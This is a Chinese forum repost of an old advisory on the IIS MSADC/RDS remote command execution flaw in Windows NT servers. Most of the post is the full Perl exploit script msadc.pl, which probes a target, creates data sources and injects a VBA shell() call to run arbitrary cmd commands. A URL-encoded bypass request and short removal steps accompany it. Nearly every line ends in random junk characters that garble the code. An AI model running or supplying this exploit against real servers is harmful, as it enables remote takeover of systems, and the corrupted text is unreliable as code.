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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )\VuN-d  
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涉及程序: -3~S{)  
Microsoft NT server %e0X-tXcmX  
f(eXny@Y  
描述: m9MY d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 qC"`i}7  
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详细: 8IWT;%  
如果你没有时间读详细内容的话,就删除: +l/kH9m  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =54D#,[B  
有关的安全问题就没有了。 {jQLr7'  
ub9[!}r't  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IDw`k[k  
Qt{V&Z7  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 }qoId3iY!7  
关于利用ODBC远程漏洞的描述,请参看: ~"vS$>+  
IA Ma  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2Q]W  
`$FX%p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 _Li.}g@Bd  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp He4HI Z  
0-{E% k  
这里不再论述。 $ kHXt]fU  
7t#Q8u?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: I3r")}P  
qUmSB"#Z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k:j_:C&.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! MaD|X_g  
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sq(5k+y*J  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y4|<+9<7  
KaOXqFT=  
#!perl _unoDoB  
# cpw=2vnD  
# MSADC/RDS 'usage' (aka exploit) script R2{]R&wtn0  
# [_3&  
# by rain.forest.puppy Zos.WS#  
# 0QPY+6  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `+vQ5l$;L  
# beta test and find errors! DCLu^:|C"  
RFFbS{U*  
use Socket; use Getopt::Std; 5[B)U">]  
getopts("e:vd:h:XR", \%args); ,YBO}l  
,ZrR*W?iF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; "K9[P :nw  
[bX ^_ Y  
if (!defined $args{h} && !defined $args{R}) { dyf>T}Iy  
print qq~ FW;}S9u3  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -:'%YHxX  
-h <host> = host you want to scan (ip or domain) NT5##XOB  
-d <seconds> = delay between calls, default 1 second 6)ZaK  
-X = dump Index Server path table, if available 3dbaCusT$  
-v = verbose sKKc_H3YSH  
-e = external dictionary file for step 5 V9Mr&8{S4  
;r6YIS4@  
Or a -R will resume a command session ;~$Q;m 1  
PZ'|)  
~; exit;} toPFkc6`  
_yH">x<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; No[9m_  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} VB4V[jraCF  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W+=j@JY}q9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); xZ%3e sp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} D$H&^,?N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } rwW"B  
4G;KT~Cgb  
if (!defined $args{R}){ $ret = &has_msadc; ;=^J_2ls  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =N\$$3m?  
;w]1H&mc*A  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cL.>e=x$  
. "cmd /c "; MNTVG&h  
$in=<STDIN>; chomp $in; lH/" 47  
$command="cmd /c " . $in ; qRcg|']R  
}2*qv4},!  
if (defined $args{R}) {&load; exit;} TxN+-< f  
WL'!M&h  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; zPHx\z"  
&try_btcustmr; i,Z-UA|f=T  
;O~FiA~`c  
print "\nStep 2: Trying to make our own DSN..."; >0 o[@gJl  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; s?1Aj<  
hv>Xr=RE  
print "\nStep 3: Trying known DSNs..."; ^{0*?,-x  
&known_dsn; lWJYT <kt  
x30|0EHYl[  
print "\nStep 4: Trying known .mdbs..."; `}uM91;  
&known_mdb; d!Y%7LmSE@  
};"_Ku4#-  
if (defined $args{e}){ d Efk~V\  
print "\nStep 5: Trying dictionary of DSN names..."; ]c 'EJu  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } a Iyzt  
5"!K8 N  
print "Sorry Charley...maybe next time?\n"; B>d49(jy  
exit; ;"EDFH#W  
uX{g4#eG  
############################################################################## BonjK#  
g26_#4 P  
sub sendraw { # ripped and modded from whisker ds+2z=!!e  
sleep($delay); # it's a DoS on the server! At least on mine... =c#mR" 1  
my ($pstr)=@_; 2Z<S^9O9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `O.pT{Lf  
die("Socket problems\n"); 17;9>*O'  
if(connect(S,pack "SnA4x8",2,80,$target)){ F/tRyq`D  
select(S); $|=1; 4 8 J{Y3F  
print $pstr; my @in=<S>; aWLA6A+C&  
select(STDOUT); close(S); 9<P%?Q  
return @in; J?Q@f  
} else { die("Can't connect...\n"); }} @{3_7  
wkPomTO  
############################################################################## +@8, uL  
eDNY|}$}v  
sub make_header { # make the HTTP request HJ"sK5Q  
my $msadc=<<EOT Iw#[K  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <bhJ>  
User-Agent: ACTIVEDATA >nK (  
Host: $ip g?}h*~<b  
Content-Length: $clen TBF{@{.d  
Connection: Keep-Alive k@n L(2  
"OkZ [E)  
ADCClientVersion:01.06 DSp~k)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :c )R6=v  
UaQW<6+  
--!ADM!ROX!YOUR!WORLD! 9M|#X1r{%{  
Content-Type: application/x-varg VRY@}>W'  
Content-Length: $reqlen f1o^:}5x  
SjJ$Oinc  
EOT ) 54cG  
; $msadc=~s/\n/\r\n/g; _x!/40^G  
return $msadc;} /Q#eP m  
l 8GAZ*+  
############################################################################## 7+[L6q/K  
q %tq9%  
sub make_req { # make the RDS request _wW"Tn]  
my ($switch, $p1, $p2)=@_; Sv>CVp*  
my $req=""; my $t1, $t2, $query, $dsn; ~:_10g]r  
O0pXHXSAL  
if ($switch==1){ # this is the btcustmr.mdb query !l .^]|  
$query="Select * from Customers where City=" . make_shell(); * "?,.  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . YVz,P_\(m  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C^U>{jf !  
^QHgc_oDm  
elsif ($switch==2){ # this is general make table query = 4'r+2[  
$query="create table AZZ (B int, C varchar(10))"; z!k  
$dsn="$p1";} 7vGAuTfi/@  
NcSi%]  
elsif ($switch==3){ # this is general exploit table query .)FFl  
$query="select * from AZZ where C=" . make_shell(); ^fS_h `B  
$dsn="$p1";} XwU1CejP0  
n4+ ^f~Y  
elsif ($switch==4){ # attempt to hork file info from index server />PH{ l  
$query="select path from scope()"; 8N#.@\'kz.  
$dsn="Provider=MSIDXS;";} Q5Mn=  
Di$++T8"  
elsif ($switch==5){ # bad query oMq:4W,  
$query="select"; ._'.F'd  
$dsn="$p1";} ~"R;p}5 "  
[,z>msEB.  
$t1= make_unicode($query); l]IQjjJ`  
$t2= make_unicode($dsn); {;JFoe+  
$req = "\x02\x00\x03\x00"; *tDxwD7  
$req.= "\x08\x00" . pack ("S1", length($t1)); &&96kg3  
$req.= "\x00\x00" . $t1 ; '0qKb*  
$req.= "\x08\x00" . pack ("S1", length($t2)); Q b5vyV `  
$req.= "\x00\x00" . $t2 ; $KGRpI  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; v?DA>  
return $req;} "!Hm.^1  
Q 9JT6  
############################################################################## 8}Maj  
np7!y U  
sub make_shell { # this makes the shell() statement OF! n}.O(  
return "'|shell(\"$command\")|'";} :%zAX  
kH62#[J)yM  
############################################################################## N\hHu6  
lOIf4  
sub make_unicode { # quick little function to convert to unicode dda*gq/p  
my ($in)=@_; my $out; 6ZGw 3p)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^p\n/#B  
return $out;} hBW,J$B  
0'`#I  
############################################################################## *{e,< DV  
&=-{adm  
sub rdo_success { # checks for RDO return success (this is kludge) Qu|<1CrZj]  
my (@in) = @_; my $base=content_start(@in); ^JB5-EtL(  
if($in[$base]=~/multipart\/mixed/){ dJmr!bN\;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Z&J.8A]L  
return 0;} 8d>>r69$pa  
x.U:v20`  
############################################################################## E. Arq6  
?)/&tk9.n  
sub make_dsn { # this makes a DSN for us \ 3l3,VYH  
my @drives=("c","d","e","f"); mH4Jl1S&  
print "\nMaking DSN: "; yd`f<Hr<m  
foreach $drive (@drives) { Jn1(-  
print "$drive: "; vnv:YQV/ir  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p=f8A71  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" _^] :tL6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); +H3;{ h9,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; XZpF<7l  
return 0 if $2 eq "404"; # not found/doesn't exist %4h$/~  
if($2 eq "200") { f\vg<lca  
foreach $line (@results) { :k oXS  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} SBG.t:  
} return 0;} Lq5Eu$;r  
W}>wRy  
############################################################################## { Em fw9L  
+{ {'3=x9  
sub verify_exists { *JY2vq  
my ($page)=@_; Q-$EBNz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); f`,isy[  
return $results[0];} FZJ sZeO  
"]1|%j  
############################################################################## 2c8e:Xgv  
.h>tef  
sub try_btcustmr { 7?~*F7F  
my @drives=("c","d","e","f"); h#I]gHQK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); fGDjX!3-S  
L]Dl}z  
foreach $dir (@dirs) { uI_h__  
print "$dir -> "; # fun status so you can see progress G\o *j |  
foreach $drive (@drives) { /Es&~Fn  
print "$drive: "; # ditto ZHOh(  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; UhF+},gU  
$reqlenlen=length( "$reqlen" ); ZNTOI]P&  
$clen= 206 + $reqlenlen + $reqlen; uSn<]OrZo`  
=jW= Z$3q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); sRf?JyB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} >KnXj7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} -JB~yO?0  
}SF<. A  
############################################################################## d"hW45L  
!TdbD56  
sub odbc_error { D= LLm$y  
my (@in)=@_; my $base; t"L-9kCM  
my $base = content_start(@in); ^# gR"\F`d  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /?g:`NT  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j69 2M.A  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z{J{6j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  C%\.  
return $in[$base+4].$in[$base+5].$in[$base+6];} }O7b&G:nW  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; lDm0O)Dh!  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . O!#bM< *  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} O &De!Gx  
A +J&(7N  
############################################################################## j_2yTz"G-  
zd+<1R;  
sub verbose { | ?])]F  
my ($in)=@_; pSlosv(6  
return if !$verbose; :")iS?l  
print STDOUT "\n$in\n";} MZInS:Vj  
f)/5%W7n}  
############################################################################## Xeo2 < @[  
'WLh D<  
sub save { A ^wIsAxT  
my ($p1, $p2, $p3, $p4)=@_; c$[cDf~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; & e~g}7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; mU3 @|a/@0  
close OUT;} ,8MUTXd@ V  
LU7d\Ch  
############################################################################## z7'C;I  
1'{A,!  
sub load { }Kc03Ue`%e  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8LM 91  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); BLs kUrPF  
@p=<IN>; close(IN); @z!|HLD+  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :CJ]^v   
$target= inet_aton($ip) || die("inet_aton problems"); x^ruPiH  
print "Resuming to $ip ..."; 0X"D!G):  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #.kDin~!  
if($p[1]==1) { )$_b?  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gnPu{-Ec*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; cK(S{|F  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Z_qOQ%l  
if (rdo_success(@results)){print "Success!\n";} }b5If7  
else { print "failed\n"; verbose(odbc_error(@results));}} ySk'#\d  
elsif ($p[1]==3){ a J&)-ge  
if(run_query("$p[3]")){ 2,,t+8"`  
print "Success!\n";} else { print "failed\n"; }} (s2ke  
elsif ($p[1]==4){ sF`ELrR \  
if(run_query($drvst . "$p[3]")){ Dy[_Ix/Y,  
print "Success!\n"; } else { print "failed\n"; }} Vo2{aK;  
exit;} o2C{V1nB  
hH|moj]  
############################################################################## A=S_5y  
97%S{_2m/  
sub create_table { a*4l!-7  
my ($in)=@_; }c$@0x;YQ  
$reqlen=length( make_req(2,$in,"") ) - 28; ~ojH$=K>d  
$reqlenlen=length( "$reqlen" ); D|`I"N[<  
$clen= 206 + $reqlenlen + $reqlen; :QV-!  
my @results=sendraw(make_header() . make_req(2,$in,"")); =83FCq"  
return 1 if rdo_success(@results); gISG<!+X^  
my $temp= odbc_error(@results); verbose($temp); "DniDA  
return 1 if $temp=~/Table 'AZZ' already exists/; <FfdOK_  
return 0;} I#m0n%-[  
 XAb!hc   
############################################################################## >)sB# <e  
TzJp3  
sub known_dsn { 9 J0JSy  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go dfss_}R  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4._ U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", pW>?%ft.  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?7Y6: zo$^  
~x:B@Ow  
foreach $dSn (@dsns) { TNHkHR[&  
print "."; 2!u4nxZ.  
next if (!is_access("DSN=$dSn")); (rM-~h6g  
if(create_table("DSN=$dSn")){ }?0At<(d  
print "$dSn successful\n"; tTzPT<  
if(run_query("DSN=$dSn")){ =/J{>S>(i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?=22@Q}g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I}&`IUP  
0"*!0s ~  
############################################################################## rLU+-_  
Y30e7d* qr  
sub is_access { z,"fr%*,N  
my ($in)=@_; f ;[\'_.*  
$reqlen=length( make_req(5,$in,"") ) - 28; "5+x6/9b  
$reqlenlen=length( "$reqlen" ); Z?7XuELKV  
$clen= 206 + $reqlenlen + $reqlen; yJj$iri  
my @results=sendraw(make_header() . make_req(5,$in,"")); Vlk]  
my $temp= odbc_error(@results); e95x,|.-_  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ># {,(8\  
return 0;} &ZmHR^Flz  
{g%F 3-  
############################################################################## Aw38T w  
nsRZy0@$t  
sub run_query { =Qa*-*  
my ($in)=@_; ]~!jf  
$reqlen=length( make_req(3,$in,"") ) - 28;  yO7xAb  
$reqlenlen=length( "$reqlen" ); iL%Q@!ka  
$clen= 206 + $reqlenlen + $reqlen; m3cO { 1I  
my @results=sendraw(make_header() . make_req(3,$in,"")); 23F<f+2S  
return 1 if rdo_success(@results); 01 vEt  
my $temp= odbc_error(@results); verbose($temp); v7i5R !  
return 0;} B-@ ]+W  
&K1\"  
############################################################################## ubpVrvu@  
k|Hxd^^I  
sub known_mdb { \sUk71L` j  
my @drives=("c","d","e","f","g"); u;[*Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zi-; 7lT  
my $dir, $drive, $mdb; mr`Lxy9e  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Vz"Ja  
3( Y#*f|  
# this is sparse, because I don't know of many WxN@&g(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", LV^V`m0#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", zSpL^:~  
"\\system32\\certmdb.mdb", Jj~c&LxrO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ?\ qfuA9.  
'q#$^ ='o  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", j"8f,er  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @dy<=bh~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _* xjG \!  
"\\cfusion\\cfapps\\security\\realm_.mdb", tKnvNOhn  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,}("es\b  
"\\cfusion\\database\\cfexamples.mdb", (#dwIBBFt  
"\\cfusion\\database\\cfsnippets.mdb", $6(,/}==0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", v-V#?+#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "1<>c/h  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  KKfC^g  
"\\cfusion\\database\\smpolicy.mdb", E5#Dn.!~  
"\\cfusion\\database\cypress.mdb", %[x oA)0!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `30og]F0YJ  
"\\website\\cgi-win\\dbsample.mdb", V! sT2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K%XQdMv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" RS$!TTeQ  
); #these are just 9^;)~ G  
foreach $drive (@drives) { \Bg;^6U  
foreach $dir (@dirs){ ),G?f {`!  
foreach $mdb (@sysmdbs) { 5pOb;ry")`  
print "."; q,ry3Nr4n  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ k63]Qf=5?N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; AI$r^t1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ]6`]+&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; w3,1ImrXp  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lw.4O^  
FD}hw9VyF@  
foreach $drive (@drives) { d!V;\w  
foreach $mdb (@mdbs) { [r_YQ*+ej  
print "."; A]z~Dw3  
if(create_table($drv . $drive . $dir . $mdb)){ {Hv/|.),hu  
print "\n" . $drive . $dir . $mdb . " successful\n"; Px!M^ T!Pi  
if(run_query($drv . $drive . $dir . $mdb)){ D!K){ E  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; h)W?8XdM  
} else { print "Something's borked. Use verbose next time\n"; }}}} Fp)+>o T  
} igoXMsifT+  
Ft7{P.g  
############################################################################## x1gfo!BN  
-QUr|:SK:  
sub hork_idx { ?r~|B/ ]  
print "\nAttempting to dump Index Server tables...\n"; B,@<60u  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _TB,2 R  
$reqlen=length( make_req(4,"","") ) - 28; _K4Igq  
$reqlenlen=length( "$reqlen" ); d)G' y  
$clen= 206 + $reqlenlen + $reqlen; X3z$f(lF%)  
my @results=sendraw2(make_header() . make_req(4,"","")); 7O_@b$Q  
if (rdo_success(@results)){ qjK'sge/  
my $max=@results; my $c; my %d; eV?._-G  
for($c=19; $c<$max; $c++){ i2a""zac  
$results[$c]=~s/\x00//g; D{Zjo)&tF'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 0Zt=1Tv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >S3,_@C  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G_fP%ovh  
$d{"$1$2"}="";} Dr;-2$Kt/&  
foreach $c (keys %d){ print "$c\n"; } U"1z"PcV  
} else {print "Index server doesn't seem to be installed.\n"; }} c$cb2V7,  
u?OyvvpH  
############################################################################## B.wRZDEvc  
_QD##`<  
sub dsn_dict { YLr<^G-v  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); aV^wTs#2I  
while(<IN>){ 8Z=d+}Gg<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; x@-bY  
next if (!is_access("DSN=$dSn")); aoLYw 9  
if(create_table("DSN=$dSn")){ XZ@;Tyn0,  
print "$dSn successful\n"; lJ+05\pE  
if(run_query("DSN=$dSn")){ P/BWFN1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e<Hbm  
print "Something's borked. Use verbose next time\n";}}} ;.=ZwM]C  
print "\n"; close(IN);} O!0YlIvWv  
r<Il;?S6  
############################################################################## we6kV-L.  
n=HId:XT  
sub sendraw2 { # ripped and modded from whisker `Qf$]Eoft  
sleep($delay); # it's a DoS on the server! At least on mine... "bO\Wt#Mf  
my ($pstr)=@_; sh $mOy  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {Vc%ga|E  
die("Socket problems\n"); dQ4VpR9|;  
if(connect(S,pack "SnA4x8",2,80,$target)){ %J*z!Fe8s  
print "Connected. Getting data"; 6} DGEHc1  
open(OUT,">raw.out"); my @in; CM}1:o<<N  
select(S); $|=1; print $pstr; fl{wF@C6  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} o gcEv>0  
close(OUT); select(STDOUT); close(S); return @in; N5 BC<pu  
} else { die("Can't connect...\n"); }} K`=O!;  
VDCG 5QP6(  
############################################################################## * u_ nu>  
f0uzoeL<%  
sub content_start { # this will take in the server headers 0]x gE  
my (@in)=@_; my $c; 2OXcP!\Y  
for ($c=1;$c<500;$c++) { @a AR99M  
if($in[$c] =~/^\x0d\x0a/){ 'A0.(a5  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 41c]o<!=)j  
else { return $c+1; }}} Dc,h( 2  
return -1;} # it should never get here actually 6mP s;I  
kB|j N~  
############################################################################## 1 11s%  
XIM!]  
sub funky { 5XSr K  
my (@in)=@_; my $error=odbc_error(@in); U@W3x@  
if($error=~/ADO could not find the specified provider/){ ~9&#7fU  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]0`*gKA  
exit;} R{s&6  
if($error=~/A Handler is required/){ "62vwWrwO  
print "\nServer has custom handler filters (they most likely are patched)\n"; (=v :@\r  
exit;} AlW0GK=N-p  
if($error=~/specified Handler has denied Access/){ P8tpbdZE-  
print "\nServer has custom handler filters (they most likely are patched)\n"; _:hrm%^  
exit;}} o:H^ L,<Tl  
{K\l3_=5qb  
############################################################################## Vej [wY-c  
pwg$% lv  
sub has_msadc { 8dg \_H_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); !.(Kpcrg  
my $base=content_start(@results); uSZCJ#'G  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); axJuJ`+Y  
return 0;} =oZHN,  
mWOW39Ku  
######################## +mM=`[Z`??  
=T73660  
OE{{,HFa`G  
解决方案: "N"$B~W*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Lu.D,oP  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 qJjXN+/D  
3NI3b-7  
拿出来充数 哈哈
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